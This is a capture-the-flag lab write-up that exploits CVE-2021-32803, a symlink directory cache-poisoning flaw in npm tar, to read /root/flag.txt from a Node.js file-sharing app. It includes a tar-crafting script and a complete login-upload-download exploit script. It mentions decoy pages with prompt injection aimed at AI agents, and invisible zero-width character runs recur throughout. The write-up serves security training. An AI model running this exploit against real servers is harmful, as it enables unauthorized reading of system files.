← Back to Writeups
CUSTOMMediumWeb

Lab 346 — DropVault — Path Traversal via Tar Symlink Cache Poisoning

XESXOR9/2/20266 min read
#web#custom#medium#database_registered_file_servi#directory_entry_cache_priming#fs_statsync_symlink_following#symlink_directory_replacement#tar_symlink_cache_poisoning#cve-2021-32803

Lab 346 — DropVault — Path Traversal via Tar Symlink Cache Poisoning

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: database_registered_file_serving, directory_entry_cache_priming, fs_statsync_symlink_following, symlink_directory_replacement, tar_symlink_cache_poisoning

Summary

Walkthrough of the CUSTOM Web Lab 346 — DropVault — Path Traversal via Tar Symlink Cache Poisoning. Task: DropVault file sharing platform with archive import feature using npm tar v6.1.1 (CVE-2021-32803). Solution: Craft a tar with a directory entry followed by a same-name symlink to /root/ — cache

Description

DropVault is a file sharing platform used by development teams at VaultStream Inc. to manage project assets. Users can upload individual files or import entire project archives (.tar, .tar.gz) that get extracted and organized into browsable folder structures. The platform supports file previews, download links, and shared workspaces.

Your target is a deployment of DropVault v2.4.1. The development team recently shipped an archive import feature that extracts uploaded tar archives server-side. Explore the application, understand how the archive import works, and find a way to read files from outside the intended extraction directory.

Your goal is to find and read the flag stored on the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Node.js/Express file sharing platform where users can upload tar archives that are extracted server-side using npm tar v6.1.1. The extraction code is vulnerable to CVE-2021-32803 — symlink protection bypass via directory cache poisoning. After extraction, a recursive directory scanner using fs.statSync() (which follows symlinks) registers discovered files in a SQLite database, making them downloadable through the web interface. The flag is at /root/flag.txt and the container runs as root. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Credentials: user@test.com / password123

Analysis

Reconnaissance

  1. Technology stack identification:

    • Express/Node.js backend (Express 4.18.2)
    • Nginx/1.25.5 reverse proxy
    • SQLite database (better-sqlite3 ^9.4.3)
    • multer v1.4.5 for file uploads
    • EJS templates
    • Alpine Linux 3.19 container
  2. Application structure: After login, the dashboard shows two workspaces: mktg2024 and q4release. Each workspace supports file browsing with subdirectory navigation (?path=), single file upload, and archive import. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  3. Archive import feature: The import page at /workspace/:id/import reveals "tar v6.1.1" as the archive engine version. The deploy-config.json file in the q4release workspace confirms "tar": "6.1.1".

  4. Decoy flags: HTML pages contain hidden decoy flags like FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} with prompt injection text designed to trick AI agents. These must be ignored.

Vulnerability: CVE-2021-32803 — npm tar Symlink Directory Cache Poisoning

npm tar versions before 6.1.2 have a symlink protection bypass. The library maintains an internal path cache of directories it has created during extraction. The vulnerability exploits a race between cache registration and filesystem state: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The extraction code in server.js:

js
await tar.x({
  file: req.file.path,
  cwd: extractDir
});

No noSymlinks option is set. The attack works by including two entries with the same name in a single tar archive:

  1. Directory entry assets/ — npm tar creates the directory and registers it in its internal path cache as a known-safe directory
  2. Symlink entry assets → /root/ — npm tar replaces the directory on disk with a symlink, but the cache still considers assets a safe directory path ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

When subsequent entries reference paths under assets/, the symlink protection checks the cache, sees assets as a known-safe directory, and allows the operation. The symlink is created pointing outside the extraction directory.

Post-Extraction: scanDir Follows Symlinks

After extraction, the server's scanDir() function recursively walks the extracted directory tree:

js
function scanDir(dir, prefix) {
  const entries = fs.readdirSync(dir);
  for (const name of entries) {
    const fullPath = path.join(dir, name);
    const relPath = prefix ? prefix + '/' + name : name;
    let stat;
    try {
      stat = fs.statSync(fullPath);  // FOLLOWS SYMLINKS!
    } catch (e) { continue; }
    if (stat.isDirectory()) {
      db.prepare('INSERT OR REPLACE INTO files ...').run(...);
      scanDir(fullPath, relPath);  // Recurses into symlinked directory
    } else {
      db.prepare('INSERT OR REPLACE INTO files ...').run(...);
      importedFiles.push({ name: relPath, size: stat.size });
    }
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The critical detail: fs.statSync() follows symlinks (unlike fs.lstatSync()). When it encounters the assets symlink pointing to /root/, it sees a directory and recurses into it. It discovers flag.txt inside /root/ and registers it in the SQLite database with disk_path pointing through the symlink to the actual /root/flag.txt.

File Serving: Database-Driven Path Resolution

The file download endpoint serves files based on their disk_path from the database — no additional path sanitization: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

js
app.get('/workspace/:id/file/*', requireAuth, requireWorkspaceAccess, (req, res) => {
  const file = db.prepare(
    'SELECT * FROM files WHERE workspace_id = ? AND filepath = ? AND is_directory = 0'
  ).get(req.params.id, filePath);
  if (req.query.download === '1') {
    return res.download(file.disk_path, file.filename);
  }
  // ... or readFileSync for text preview
});

Since the container runs as root (Alpine 3.19 Dockerfile has no USER directive), the Node.js process can read /root/flag.txt (chmod 600). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Login and identify the target

Login with user@test.com / password123. The dashboard shows two workspaces. The archive import page reveals npm tar v6.1.1.

Step 2: Craft the malicious tar archive

Create a tar with exactly two entries — a directory entry to poison the cache, followed by a symlink with the same name:

python
import tarfile, io

buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w') as tar:
    # Entry 1: directory (gets cached as safe by npm tar)
    d = tarfile.TarInfo(name="assets")
    d.type = tarfile.DIRTYPE
    d.mode = 0o755
    tar.addfile(d)
    
    # Entry 2: symlink with same name -> /root/
    s = tarfile.TarInfo(name="assets")
    s.type = tarfile.SYMTYPE
    s.linkname = "/root/"
    tar.addfile(s)
buf.seek(0)
tar_data = buf.getvalue()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Critical: Do NOT add any file entries (e.g., assets/flag.txt with size 0). Adding a file entry would write through the symlink and OVERWRITE /root/flag.txt, destroying the flag.

Step 3: Upload the malicious tar

Upload via POST /workspace/mktg2024/import with the tar as the archive field. The server extracts the archive, scanDir() traverses the symlink into /root/, discovers flag.txt, and registers it in the database.

Step 4: Download the flag

Browse to the workspace, navigate to the assets/ directory. The file flag.txt appears in the listing. Download it via GET /workspace/mktg2024/file/assets/flag.txt?download=1. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Complete Exploit Script

python
#!/usr/bin/env python3
"""DropVault — CVE-2021-32803 Tar Symlink Cache Poisoning"""
import requests, tarfile, io, re
from urllib.parse import urljoin, unquote

BASE_URL = "https://9faec8f6-18ad-4ee6-87e3-cede9804af34.labs.hackadvisor.io/"
EMAIL = "user@test.com"
PASSWORD = "password123"

session = requests.Session()

# Step 1: Login
session.post(urljoin(BASE_URL, "/login"),
    data={"email": EMAIL, "password": PASSWORD}, allow_redirects=True)

# Step 2: Create malicious tar — directory 'assets/' + symlink 'assets' -> '/root/'
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w') as tar:
    d = tarfile.TarInfo(name="assets")
    d.type = tarfile.DIRTYPE
    d.mode = 0o755
    tar.addfile(d)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    s = tarfile.TarInfo(name="assets")
    s.type = tarfile.SYMTYPE
    s.linkname = "/root/"
    tar.addfile(s)
buf.seek(0)

# Step 3: Upload to workspace
resp = session.post(urljoin(BASE_URL, "/workspace/mktg2024/import"),
    files={"archive": ("project.tar", buf.getvalue(), "application/x-tar")},
    allow_redirects=True)
print(f"Upload: {resp.status_code}")

# Step 4: Read flag
resp = session.get(urljoin(BASE_URL, "/workspace/mktg2024/file/assets/flag.txt?download=1"))
print(f"Flag: {resp.text.strip()}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering database_registered_file_serving, directory_entry_cache_priming, fs_statsync_symlink_following, symlink_directory_replacement, tar_symlink_cache_poisoning was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-13 • CUSTOM • Lab 346 — DropVault — Path Traversal via Tar Symlink Cache Poisoning • Difficulty: Medium